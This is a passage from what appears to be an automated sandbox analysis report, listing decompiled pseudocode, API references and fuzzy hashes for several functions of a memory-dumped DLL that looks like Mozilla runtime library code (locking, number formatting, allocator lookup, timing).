0x6d0e8094
0x6d0e8094
0x6d0e7f52
0x6d0e7f52
0x6d0e7f52
0x6d0e80aa

APIs

EnterCriticalSection.KERNEL32(6D10026C,000FFFFF,?,?), ref: 6D0E7F68
LeaveCriticalSection.KERNEL32(6D10026C,00000000,?), ref: 6D0E7F87

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 55e5bf2216223933b22c6fa0f2b5badf400add82c393429990d233d3fb506878
Instruction ID: 66a965899a08c7a348cbde109647a2a05375d9b2875ff437d395482863b5c01d
Opcode Fuzzy Hash: 55e5bf2216223933b22c6fa0f2b5badf400add82c393429990d233d3fb506878
Instruction Fuzzy Hash: 62411431A09605AFEB55EF79DC44BAE77F8EF86394B104529F901EB205DF70DA0087A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F1123, Relevance: 6.3, APIs: 4, Instructions: 262
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6D0F1123(void* __ebx, void* __edi, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int* _a20, signed int* _a24, signed int* _a28, signed int* _a32) {
				signed int _v8;
				char _v536;
				char _v1064;
				char _v1592;
				char _v2120;
				void _v2124;
				char _v2128;
				intOrPtr _v2132;
				long long _v2136;
				void _v2140;
				void _v2144;
				signed int* _v2148;
				signed int* _v2152;
				void _v2156;
				char _v2160;
				intOrPtr _v2164;
				void _v2168;
				signed int* _v2172;
				signed int _v2176;
				void* __esi;
				signed int _t121;
				signed int _t127;
				intOrPtr _t130;
				signed int _t141;
				signed int _t158;
				signed int* _t160;
				intOrPtr _t162;
				intOrPtr _t191;
				signed int _t198;
				void* _t200;
				signed int _t208;
				void _t224;
				signed int _t225;
				signed int _t227;
				intOrPtr _t229;
				intOrPtr* _t230;
				intOrPtr _t233;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				signed int* _t238;
				signed int _t243;
				long long* _t245;
				long long _t260;

				_t121 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t121 ^ _t243;
				asm("movsd xmm0, [ebp+0x8]");
				_t229 = _a12;
				_t198 = 0;
				_v2152 = _a28;
				asm("movsd [ebp-0x854], xmm0");
				_v2148 = _a32;
				if(_t229 != 1) {
					asm("movsd [ebp-0x86c], xmm0");
					_v2160 = E6D0EFCE8(_t200,  &_v2160);
					_v2156 = _t224;
					_t127 = E6D0F3ACA( &_v2160);
					asm("movsd xmm0, [ebp-0x854]");
					_t235 = _t127;
					_v2156 = _t235;
					_v2168 = _t224;
					asm("movsd [ebp-0x84c], xmm0");
					_v2128 = E6D0EFCE8( &_v2160,  &_v2128);
					_v2124 = _t224;
					_t130 = E6D0F2086( &_v2128);
					asm("movsd xmm0, [ebp-0x854]");
					_v2164 = _t130;
					asm("movsd [ebp-0x84c], xmm0");
					_v2128 = E6D0EFCE8( &_v2128,  &_v2128);
					_v2124 = _t224;
					_v2124 = E6D0F2EAC( &_v2128);
					__eflags = _t229;
					if(_t229 == 0) {
						goto L2;
					} else {
						_t198 = 0;
						_v2144 = 0;
						goto L3;
					}
					L33:
				} else {
					asm("cvtpd2ps xmm0, xmm0");
					asm("movss [ebp-0x868], xmm0");
					memmove( &_v2140,  &_v2156, 4);
					asm("movsd xmm1, [ebp-0x854]");
					asm("cvtpd2ps xmm0, xmm1");
					_v2168 = 0;
					_t235 =  ==  ? _v2140 & 0x007fffff : (_v2140 & 0x007fffff) + 0x800000;
					_v2156 = _t235;
					asm("movss [ebp-0x848], xmm0");
					memmove( &_v2144,  &_v2124, 4);
					_v2124 = _v2144;
					_t191 = E6D0F20B1( &_v2124);
					asm("movsd xmm1, [ebp-0x854]");
					_v2164 = _t191;
					asm("cvtpd2ps xmm0, xmm1");
					asm("movss [ebp-0x848], xmm0");
					memmove( &_v2144,  &_v2124, 4);
					_t245 = _t245 + 0x24;
					_v2124 = _v2144;
					_v2124 = E6D0F2ECC( &_v2124);
					L2:
					_v2144 = 1;
				}
				L3:
				_v2140 = 1;
				if((_t235 & 0x00000001 | _t198) != 0) {
					_v2140 = _t198;
				}
				_t225 = _t235;
				_t236 = _v2168;
				_v2132 = _v2164;
				_t208 = _t236 & 0x00100000;
				if((_t198 | _t208) == 0) {
					_t233 = _v2132;
					do {
						_t236 = (_t236 << 0x00000020 | _t225) << 1;
						_t225 = _t225 + _t225;
						_t208 = _t236 & 0x00100000;
						_t233 = _t233 - 1;
					} while ((_t198 | _t208) == 0);
					_v2132 = _t233;
					_t229 = _a12;
				}
				_t141 = _v2132 + 0x34;
				_push(_t208);
				_push(_t208);
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("mulsd xmm0, [0x6d0fb590]");
				asm("subsd xmm0, [0x6d0fb588]");
				asm("movsd [ebp-0x854], xmm0");
				_t260 = _v2136;
				 *_t245 = _t260;
				L6D0F8802();
				_t237 = _a16;
				_v2136 = _t260;
				asm("cvttsd2si eax, [ebp-0x854]");
				if(_t229 != 2 ||  !_t141 <= _t237) {
					E6D0F0AA3( &_v1064);
					E6D0F0AA3( &_v536);
					E6D0F0AA3( &_v2120);
					E6D0F0AA3( &_v1592);
					asm("cvttsd2si eax, [ebp-0x854]");
					E6D0F2C18( &_v1592, _v2156, _v2168, _v2164, _v2124,  &_v1064, _v2144,  &_v1064,  &_v536,  &_v2120,  &_v1592);
					asm("cvttsd2si eax, [ebp-0x854]");
					E6D0F263F(_t198, __eflags, _t260, _v2148, _v2140, _v2148,  &_v1064,  &_v536,  &_v2120,  &_v1592);
					__eflags = _t229;
					if(_t229 < 0) {
						L24:
						E6D0F4593();
						asm("int3");
						_push(_t243);
						_t158 = _v2176;
						_push(_t237);
						_t238 = _v2172;
						_t227 =  *_t238;
						__eflags =  ~_t227 - _t158;
						if(__eflags <= 0) {
							if(__eflags != 0) {
								__eflags = _t158 + _t227;
								_t160 = E6D0F26BE(_t260, _t158 + _t227, _t238, _a8, _a12, _a16, _a20, _a24);
							} else {
								E6D0F3106(_t198, _a12, _t229, _t238, _t260, 0xa);
								_t162 = E6D0F3515(_a8, _a8, _a12);
								__eflags = _t162;
								if(_t162 < 0) {
									goto L27;
								} else {
									 *_a16 = 0x31;
									_t160 = _a24;
									 *_t160 = 1;
									 *_t238 =  *_t238 + 1;
								}
							}
						} else {
							 *_t238 =  ~_t158;
							L27:
							_t160 = _a24;
							 *_t160 =  *_t160 & 0x00000000;
						}
						return _t160;
					} else {
						__eflags = _t229 - 1;
						if(__eflags <= 0) {
							_t230 = _v2152;
							E6D0F2753(__eflags, _t260,  &_v1064,  &_v536,  &_v2120,  &_v1592, _v2140, _a20, _a24, _t230);
							goto L23;
						} else {
							__eflags = _t229 - 2;
							if(_t229 == 2) {
								_t230 = _v2152;
								_push(_t230);
								_push(_a24);
								_push(_a20);
								_push( &_v536);
								_push( &_v1064);
								_push(_v2148);
								_push(_t237);
								L25();
								goto L21;
							} else {
								__eflags = _t229 - 3;
								if(_t229 != 3) {
									goto L24;
								} else {
									_t230 = _v2152;
									E6D0F26BE(_t260, _t237, _v2148,  &_v1064,  &_v536, _a20, _a24, _t230);
									L21:
									L23:
									 *(_a20 +  *_t230) = _t198;
									goto L12;
								}
							}
						}
					}
				} else {
					 *_a20 = _t198;
					 *_v2152 = _t198;
					 *_v2148 =  ~_t237;
					L12:
					return E6D0F70C0(_v8 ^ _t243);
				}
				goto L33;
			}

0x6d0f112c
0x6d0f1133
0x6d0f1139
0x6d0f1141
0x6d0f1144
0x6d0f1146
0x6d0f114f
0x6d0f1157
0x6d0f1160
0x6d0f1333
0x6d0f1348
0x6d0f134e
0x6d0f1354
0x6d0f1359
0x6d0f1361
0x6d0f1369
0x6d0f1370
0x6d0f1376
0x6d0f138a
0x6d0f1390
0x6d0f1396
0x6d0f139b
0x6d0f13a3
0x6d0f13b0
0x6d0f13c4
0x6d0f13ca
0x6d0f13d5
0x6d0f13db
0x6d0f13dd
0x00000000
0x6d0f13e3
0x6d0f13e3
0x6d0f13e5
0x00000000
0x6d0f13e5
0x00000000
0x6d0f1166
0x6d0f1166
0x6d0f117a
0x6d0f1182
0x6d0f118d
0x6d0f11a4
0x6d0f11b0
0x6d0f11b6
0x6d0f11c6
0x6d0f11cd
0x6d0f11d5
0x6d0f11e9
0x6d0f11ef
0x6d0f11f4
0x6d0f11fc
0x6d0f1208
0x6d0f1216
0x6d0f121e
0x6d0f122f
0x6d0f1232
0x6d0f123d
0x6d0f1243
0x6d0f1243
0x6d0f1243
0x6d0f124a
0x6d0f124c
0x6d0f1258
0x6d0f125a
0x6d0f125a
0x6d0f1266
0x6d0f1268
0x6d0f1270
0x6d0f1276
0x6d0f1280
0x6d0f1282
0x6d0f1288
0x6d0f1288
0x6d0f1290
0x6d0f1292
0x6d0f1298
0x6d0f1299
0x6d0f129d
0x6d0f12a3
0x6d0f12a3
0x6d0f12ac
0x6d0f12af
0x6d0f12b0
0x6d0f12b1
0x6d0f12b5
0x6d0f12b9
0x6d0f12c1
0x6d0f12c9
0x6d0f12d1
0x6d0f12d7
0x6d0f12da
0x6d0f12df
0x6d0f12e2
0x6d0f12e8
0x6d0f12f5
0x6d0f13f6
0x6d0f1401
0x6d0f140c
0x6d0f1417
0x6d0f143e
0x6d0f1460
0x6d0f1488
0x6d0f1497
0x6d0f149f
0x6d0f14a1
0x6d0f1553
0x6d0f1553
0x6d0f1558
0x6d0f1559
0x6d0f155c
0x6d0f155f
0x6d0f1560
0x6d0f1563
0x6d0f1569
0x6d0f156b
0x6d0f1579
0x6d0f15b0
0x6d0f15c0
0x6d0f157b
0x6d0f1580
0x6d0f158e
0x6d0f1596
0x6d0f1598
0x00000000
0x6d0f159a
0x6d0f159d
0x6d0f15a0
0x6d0f15a3
0x6d0f15a9
0x6d0f15a9
0x6d0f1598
0x6d0f156d
0x6d0f156f
0x6d0f1571
0x6d0f1571
0x6d0f1574
0x6d0f1574
0x6d0f15ca
0x6d0f14a7
0x6d0f14a7
0x6d0f14aa
0x6d0f150f
0x6d0f153e
0x00000000
0x6d0f14ac
0x6d0f14ac
0x6d0f14af
0x6d0f14e3
0x6d0f14ef
0x6d0f14f0
0x6d0f14f3
0x6d0f14f6
0x6d0f14fd
0x6d0f14fe
0x6d0f1504
0x6d0f1505
0x00000000
0x6d0f14b1
0x6d0f14b1
0x6d0f14b4
0x00000000
0x6d0f14ba
0x6d0f14ba
0x6d0f14dc
0x6d0f150a
0x6d0f1546
0x6d0f154b
0x00000000
0x6d0f154b
0x6d0f14b4
0x6d0f14af
0x6d0f14aa
0x6d0f1305
0x6d0f1310
0x6d0f1318
0x6d0f131a
0x6d0f131c
0x6d0f132c
0x6d0f132c
0x00000000

APIs

memmove.VCRUNTIME140(?,?,00000004,00000012,?,00000000), ref: 6D0F1182
memmove.VCRUNTIME140(?,?,00000004,?,?,00000004,00000012,?,00000000), ref: 6D0F11D5
memmove.VCRUNTIME140(?,?,00000004,?,?,?,00000012,?,00000000), ref: 6D0F121E
ceil.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000012,?,00000000), ref: 6D0F12DA

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: memmove$ceil
String ID:
API String ID: 404853840-0
Opcode ID: 8ddf8dc396809b7c2e165b52bf31392035d103668c8c9aeee1ed90754066a994
Instruction ID: 05fe8500f528109b027d1ca14fabfb728612d858c31a60cdcc9c9912e3eb8097
Opcode Fuzzy Hash: 8ddf8dc396809b7c2e165b52bf31392035d103668c8c9aeee1ed90754066a994
Instruction Fuzzy Hash: D4C126B290462D9ADB61DE65CD40BDEB7F8FF49304F1582DAA98DA3100DF319A85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6D0E82B7, Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6D0E82B7(void* __ebx, void* __edi, signed int _a4, void* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v28;
				char _v44;
				intOrPtr _v56;
				signed int _t55;
				intOrPtr* _t58;
				intOrPtr _t59;
				intOrPtr* _t60;
				void* _t63;
				signed int _t65;
				signed char _t75;
				signed int _t76;
				signed int _t77;
				intOrPtr _t79;
				signed int _t84;
				signed int _t85;
				signed int _t88;
				unsigned int _t108;
				void* _t112;
				signed int _t115;
				intOrPtr* _t128;

				_t115 = _a4;
				_t108 = _t115 & 0xfff00000;
				if(_t108 == 0 ||  *0x6d1001e4 == 0) {
					L25:
					_t55 = 0;
					_v12 = 0;
					_v8 = 0;
					goto L26;
				} else {
					EnterCriticalSection(0x6d10028c);
					_v28 = _t115;
					_t58 = E6D0E71E0(0x6d1002a4,  &_a4,  &_v44);
					_push(0x6d10028c);
					_t79 =  *_t58;
					if(_t79 == 0) {
						LeaveCriticalSection();
						_t59 =  *0x6d100268; // 0x0
						_t60 = _t59 + (_t108 >> 0x14) * 4;
						if(_t60 == 0 ||  *_t60 == 0) {
							goto L25;
						} else {
							_t84 = _t115 - _t108 >> 0xc;
							if(_t84 < 1) {
								goto L25;
							} else {
								_t55 = (_t84 + 2) * 0xc + _t108;
								_t75 =  *_t55;
								if((1 & _t75) != 0) {
									if((_t75 & 0x00000002) == 0) {
										_t76 = _t75 & 0xfffff000;
										_t63 =  *_t76;
										_t85 =  *(_t63 + 8);
										_t112 =  *((intOrPtr*)(_t63 + 0x18)) + _t76;
										_a4 = _t85;
										if(_t115 < _t112) {
											goto L25;
										} else {
											_t65 = (_t115 - _t112) / _t85;
											_t43 = (_t65 >> 5) * 4; // 0x0
											_t88 = _a4;
											_v8 = _t88;
											asm("sbb edx, edx");
											_v16 = ( ~(1 << _t65 - (_t65 >> 0x00000005 << 0x00000005) &  *(_t76 + _t43 + 0xc)) & 0x00000003) + 1;
											_t55 = _t65 * _t88 + _t112;
											_v12 = _t55;
										}
									} else {
										while(1) {
											_t77 = _t75 & 0xfffff000;
											if(_t77 != 0) {
												break;
											}
											_t84 = _t84 - 1;
											_t55 = _t55 - 0xc;
											if(_t84 < 1) {
												goto L25;
											} else {
												_t75 =  *_t55;
												if((_t75 & 0x00000002) == 0) {
													goto L25;
												} else {
													continue;
												}
											}
											goto L27;
										}
										_v16 = 2;
										_v12 = (_t84 << 0xc) + _t108;
										_v8 = _t77;
									}
									goto L27;
								} else {
									if((_t75 & 0x00000008) == 0) {
										if((_t75 & 0x00000020) == 0) {
											if((_t75 & 0x00000040) == 0) {
												if((_t75 & 0x00000004) == 0) {
													E6D0E90E5("MOZ_CRASH()");
													asm("int3");
													 *_t128 = 0xc34;
													E6D0E8DD0();
													asm("int3");
													_push(_t115);
													E6D0E82B7(_t75, _t108, _v56, 0x6d1002e4);
													return 0x6d1002e4;
												} else {
													_push(8);
													goto L16;
												}
											} else {
												_push(7);
												goto L16;
											}
										} else {
											_push(6);
											goto L16;
										}
									} else {
										_push(5);
										L16:
										_v8 = 0x1000;
										_pop(_t55);
										_v12 = _t115 & 0xfffff000;
										L26:
										_v16 = _t55;
										L27:
										asm("movsd");
										asm("movsd");
										asm("movsd");
										goto L28;
									}
								}
							}
						}
					} else {
						_v12 =  *(_t79 + 0x10);
						_t55 =  *(_t79 + 0x14);
						_v8 = _t55;
						_v16 = 3;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						LeaveCriticalSection(??);
						L28:
						return _t55;
					}
				}
			}

0x6d0e82bf
0x6d0e82c5
0x6d0e82cb
0x6d0e8431
0x6d0e8431
0x6d0e8433
0x6d0e8436
0x00000000
0x6d0e82de
0x6d0e82e4
0x6d0e82ed
0x6d0e82fa
0x6d0e82ff
0x6d0e8300
0x6d0e8304
0x6d0e832d
0x6d0e8333
0x6d0e833d
0x6d0e8342
0x00000000
0x6d0e8351
0x6d0e8358
0x6d0e835d
0x00000000
0x6d0e8363
0x6d0e8369
0x6d0e836b
0x6d0e836f
0x6d0e83b0
0x6d0e83e0
0x6d0e83e6
0x6d0e83eb
0x6d0e83ee
0x6d0e83f0
0x6d0e83f5
0x00000000
0x6d0e83f7
0x6d0e83fd
0x6d0e8412
0x6d0e8416
0x6d0e841b
0x6d0e841e
0x6d0e8427
0x6d0e842a
0x6d0e842c
0x6d0e842c
0x6d0e83b2
0x6d0e83c8
0x6d0e83c8
0x6d0e83ca
0x00000000
0x00000000
0x6d0e83b9
0x6d0e83ba
0x6d0e83bf
0x00000000
0x6d0e83c1
0x6d0e83c1
0x6d0e83c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6d0e83c6
0x00000000
0x6d0e83bf
0x6d0e83d1
0x6d0e83d8
0x6d0e83db
0x6d0e83db
0x00000000
0x6d0e8371
0x6d0e8374
0x6d0e837d
0x6d0e8386
0x6d0e838f
0x6d0e8451
0x6d0e8456
0x6d0e8457
0x6d0e845e
0x6d0e8463
0x6d0e8467
0x6d0e8471
0x6d0e847c
0x6d0e8395
0x6d0e8395
0x00000000
0x6d0e8395
0x6d0e8388
0x6d0e8388
0x00000000
0x6d0e8388
0x6d0e837f
0x6d0e837f
0x00000000
0x6d0e837f
0x6d0e8376
0x6d0e8376
0x6d0e8397
0x6d0e839d
0x6d0e83a4
0x6d0e83a5
0x6d0e8439
0x6d0e8439
0x6d0e843c
0x6d0e8442
0x6d0e8443
0x6d0e8444
0x00000000
0x6d0e8444
0x6d0e8374
0x6d0e836f
0x6d0e835d
0x6d0e8306
0x6d0e830f
0x6d0e8312
0x6d0e8315
0x6d0e8318
0x6d0e831f
0x6d0e8320
0x6d0e8321
0x6d0e8322
0x6d0e8445
0x6d0e844b
0x6d0e844b
0x6d0e8304

APIs

EnterCriticalSection.KERNEL32(6D10028C,?,6D1002E4,00000000), ref: 6D0E82E4
LeaveCriticalSection.KERNEL32(6D10028C,?,?,?,6D1002E4,00000000), ref: 6D0E8322
LeaveCriticalSection.KERNEL32(6D10028C,?,?,?,6D1002E4,00000000), ref: 6D0E832D

Strings

MOZ_CRASH(), xrefs: 6D0E844C

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$Enter
String ID: MOZ_CRASH()
API String ID: 2978645861-2608361144
Opcode ID: 4b2040938f7d20424bcd1791386366ada35fe1c1c564e6e6438bac4bec1cc22f
Instruction ID: b735ca5c55461e55704ae9cae9550738973710294092e6580686af4f39748b1e
Opcode Fuzzy Hash: 4b2040938f7d20424bcd1791386366ada35fe1c1c564e6e6438bac4bec1cc22f
Instruction Fuzzy Hash: 8351F4B1A012149FEB08CF28C8417ADBBF6EFC9390F65C16AED559B395C7709940CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EB580, Relevance: 6.1, APIs: 4, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E6D0EB580(intOrPtr* __ecx, signed int _a4) {
				intOrPtr* _t17;
				void* _t19;
				signed int _t23;
				void* _t24;
				signed int _t26;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				void* _t31;
				signed int _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;
				signed int _t45;
				intOrPtr _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t58;
				void* _t59;

				_t17 = _a4;
				_t57 = __ecx;
				_t56 =  *__ecx -  *_t17;
				_t2 = _t57 + 4; // 0x0
				_t35 =  *_t2;
				asm("sbb ebx, [eax+0x4]");
				if( *((char*)(__ecx + 0x10)) == 0 ||  *((char*)(_t17 + 0x10)) == 0) {
					L26:
					return _t56;
				} else {
					_t5 = _t57 + 8; // 0x0
					_t38 =  *_t5 -  *((intOrPtr*)(_t17 + 8));
					_t7 = _t57 + 0xc; // 0x0
					_t58 =  *_t7;
					asm("sbb esi, [eax+0xc]");
					_t19 = _t38;
					if( *0x6d1003b0 == 0) {
						_a4 = _t19 - _t56;
						asm("sbb eax, ebx");
						asm("cdq");
						_a4 = _a4 ^ _t50;
						_a4 = _a4 - _t50;
						asm("sbb eax, edx");
						_t52 = _t58 ^ _t50;
						__eflags = _t52 -  *0x6d10037c; // 0x0
						if(__eflags > 0) {
							_t23 = _a4;
							L9:
							_t24 = _t23 -  *0x6d100378;
							asm("sbb edx, [0x6d10037c]");
							__eflags = _t52 -  *0x6d100394; // 0x0
							if(__eflags > 0) {
								L12:
								__eflags =  *0x6d100018;
								if( *0x6d100018 == 0) {
									goto L26;
								}
								asm("cdq");
								_t26 = _t35 ^ _t52;
								_t41 = (_t56 ^ _t52) - _t52;
								asm("sbb eax, edx");
								__eflags = _t26 -  *0x6d100384; // 0x0
								if(__eflags > 0) {
									goto L26;
								}
								if(__eflags < 0) {
									L16:
									__imp__GetTickCount64();
									_t59 = E6D0F7E50(_t26, _t52,  *0x6d100010,  *0x6d100014);
									_a4 = _t52;
									EnterCriticalSection(0x6d100398);
									_t28 =  *0x6d1003b8; // 0x0
									__eflags = _t28 |  *0x6d1003bc;
									_t53 = _a4;
									if((_t28 |  *0x6d1003bc) == 0) {
										L24:
										_t44 =  *0x6d100388; // 0x7ec8bf60
										_t29 =  *0x6d10038c; // 0x2
										_t45 = _t44 + _t59;
										__eflags = _t45;
										 *0x6d1003b8 = _t45;
										asm("adc eax, edx");
										 *0x6d1003bc = _t29;
										L25:
										LeaveCriticalSection(0x6d100398);
										goto L26;
									}
									__eflags =  *0x6d1003bc - _t53; // 0x0
									if(__eflags < 0) {
										goto L24;
									}
									if(__eflags > 0) {
										L20:
										_t46 =  *0x6d100388; // 0x7ec8bf60
										_t30 =  *0x6d10038c; // 0x2
										asm("sbb eax, edx");
										asm("adc eax, [0x6d1003bc]");
										asm("adc eax, 0xffffffff");
										_t31 = E6D0F7E90(_t46 - _t59 +  *0x6d1003b8 + 0xffffffff, _t30,  *0x6d100388,  *0x6d10038c);
										__eflags = _t53;
										if(_t53 != 0) {
											L23:
											 *0x6d100018 = 0;
											goto L25;
										}
										__eflags = _t31 - 4;
										if(_t31 > 4) {
											goto L23;
										}
										asm("adc edx, edx");
										 *0x6d1003b8 = E6D0F7E50(_t31 + 1, _t53,  *0x6d100388,  *0x6d10038c) + _t59;
										asm("adc edx, [ebp+0x8]");
										 *0x6d1003bc = _t53;
										goto L25;
									}
									__eflags = _t28 - _t59;
									if(_t28 <= _t59) {
										goto L24;
									}
									goto L20;
								}
								__eflags = _t41 -  *0x6d100380; // 0xff837fc0
								if(__eflags >= 0) {
									goto L26;
								}
								goto L16;
							}
							if(__eflags < 0) {
								L7:
								_t19 = _t38;
								goto L3;
							}
							__eflags = _t24 -  *0x6d100390; // 0x6634998
							if(__eflags <= 0) {
								goto L7;
							}
							goto L12;
						}
						if(__eflags < 0) {
							goto L7;
						}
						_t23 = _a4;
						__eflags = _t23 -  *0x6d100378; // 0x82d2b00
						if(__eflags > 0) {
							goto L9;
						}
						goto L7;
					}
					L3:
					return _t19;
				}
			}

0x6d0eb583
0x6d0eb588
0x6d0eb58d
0x6d0eb58f
0x6d0eb58f
0x6d0eb592
0x6d0eb599
0x6d0eb729
0x00000000
0x6d0eb5a9
0x6d0eb5a9
0x6d0eb5ac
0x6d0eb5af
0x6d0eb5af
0x6d0eb5b2
0x6d0eb5b5
0x6d0eb5be
0x6d0eb5c9
0x6d0eb5ce
0x6d0eb5d0
0x6d0eb5d3
0x6d0eb5d6
0x6d0eb5d9
0x6d0eb5db
0x6d0eb5dd
0x6d0eb5e3
0x6d0eb5f6
0x6d0eb5f9
0x6d0eb5f9
0x6d0eb5ff
0x6d0eb605
0x6d0eb60b
0x6d0eb617
0x6d0eb617
0x6d0eb61e
0x00000000
0x00000000
0x6d0eb628
0x6d0eb629
0x6d0eb62d
0x6d0eb62f
0x6d0eb631
0x6d0eb637
0x00000000
0x00000000
0x6d0eb63d
0x6d0eb64b
0x6d0eb64b
0x6d0eb669
0x6d0eb66b
0x6d0eb66e
0x6d0eb674
0x6d0eb67b
0x6d0eb681
0x6d0eb684
0x6d0eb704
0x6d0eb704
0x6d0eb70a
0x6d0eb70f
0x6d0eb70f
0x6d0eb711
0x6d0eb717
0x6d0eb719
0x6d0eb71e
0x6d0eb723
0x00000000
0x6d0eb723
0x6d0eb686
0x6d0eb68c
0x00000000
0x00000000
0x6d0eb68e
0x6d0eb694
0x6d0eb694
0x6d0eb69a
0x6d0eb6a7
0x6d0eb6b5
0x6d0eb6be
0x6d0eb6c3
0x6d0eb6c8
0x6d0eb6ca
0x6d0eb6fb
0x6d0eb6fb
0x00000000
0x6d0eb6fb
0x6d0eb6cc
0x6d0eb6cf
0x00000000
0x00000000
0x6d0eb6e0
0x6d0eb6eb
0x6d0eb6f0
0x6d0eb6f3
0x00000000
0x6d0eb6f3
0x6d0eb690
0x6d0eb692
0x00000000
0x00000000
0x00000000
0x6d0eb692
0x6d0eb63f
0x6d0eb645
0x00000000
0x00000000
0x00000000
0x6d0eb645
0x6d0eb60d
0x6d0eb5f2
0x6d0eb5f2
0x00000000
0x6d0eb5f2
0x6d0eb60f
0x6d0eb615
0x00000000
0x00000000
0x00000000
0x6d0eb615
0x6d0eb5e5
0x00000000
0x00000000
0x6d0eb5e7
0x6d0eb5ea
0x6d0eb5f0
0x00000000
0x00000000
0x00000000
0x6d0eb5f0
0x6d0eb5c0
0x00000000
0x6d0eb5c0

APIs

GetTickCount64.KERNEL32 ref: 6D0EB64B
EnterCriticalSection.KERNEL32(6D100398,00000000,?,?,?,00000001,?,6D0EB52E,?,?,6D0EB3A3,?,?,?,?,6D0EB3CD), ref: 6D0EB66E
__aulldiv.LIBCMT ref: 6D0EB6C3
LeaveCriticalSection.KERNEL32(6D100398,?,?,?,00000001,?,6D0EB52E,?,?,6D0EB3A3,?,?,?,?,6D0EB3CD), ref: 6D0EB723

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 0fa241c328e7d30ed0ac50f0e4ab8969b16fa9ec3abbdeeacbc020dac3a17f1a
Instruction ID: c819b808d1ee6cad343944023bfa9960eb87184ca8a0af484c2ea12c880294b2
Opcode Fuzzy Hash: 0fa241c328e7d30ed0ac50f0e4ab8969b16fa9ec3abbdeeacbc020dac3a17f1a
Instruction Fuzzy Hash: 8C41A6716103109FEF26EF6AE884B6977FAF786794B18C51DE5458B254CFB09840CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EDB70, Relevance: 6.1, APIs: 4, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6D0EDB70(void* __ecx, void* __eflags, void* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				signed int _v28;
				void _v32;
				char _v56;
				intOrPtr _t38;
				void* _t40;
				void* _t42;
				void* _t44;
				void* _t46;
				void* _t48;
				void* _t54;
				intOrPtr _t62;
				signed int _t65;
				signed int _t67;
				signed int _t73;
				signed int _t75;
				signed int _t80;
				intOrPtr _t84;
				intOrPtr _t97;
				void* _t98;

				_t38 = _a8;
				_t95 = __ecx;
				_v16 = _t38;
				_t62 =  *((intOrPtr*)(_t38 + 0x10));
				_v20 = __ecx;
				_t84 =  *((intOrPtr*)(__ecx + 0x10));
				_v8 = _t84;
				_v12 = 2;
				_t40 = E6D0EECEC( &_v20) - 1;
				if(_t40 == 0) {
					__eflags = _t84 - _t62;
					if(_t84 != _t62) {
						_t65 = 6;
						memcpy( &_v32, __ecx, _t65 << 2);
						_t98 = _t98 + 0xc;
						_t42 =  &_v32;
					} else {
						_t42 = E6D0EF040( &_v56);
					}
					L23:
					_t95 = _t42;
					L24:
					_t67 = 6;
					_t44 = memcpy(_a4, _t95, _t67 << 2);
					L25:
					return _t44;
				}
				_t46 = _t40 - 1;
				if(_t46 == 0) {
					E6D0EFC47( &_v20, _a4);
					L19:
					_t44 = _a4;
					goto L25;
				}
				_t48 = _t46 - 1;
				if(_t48 == 0) {
					goto L24;
				}
				if(_t48 == 1) {
					__eflags = _t62 - 1;
					E6D0EED50(_a4, 0 | _t62 != 0x00000001);
					goto L19;
				}
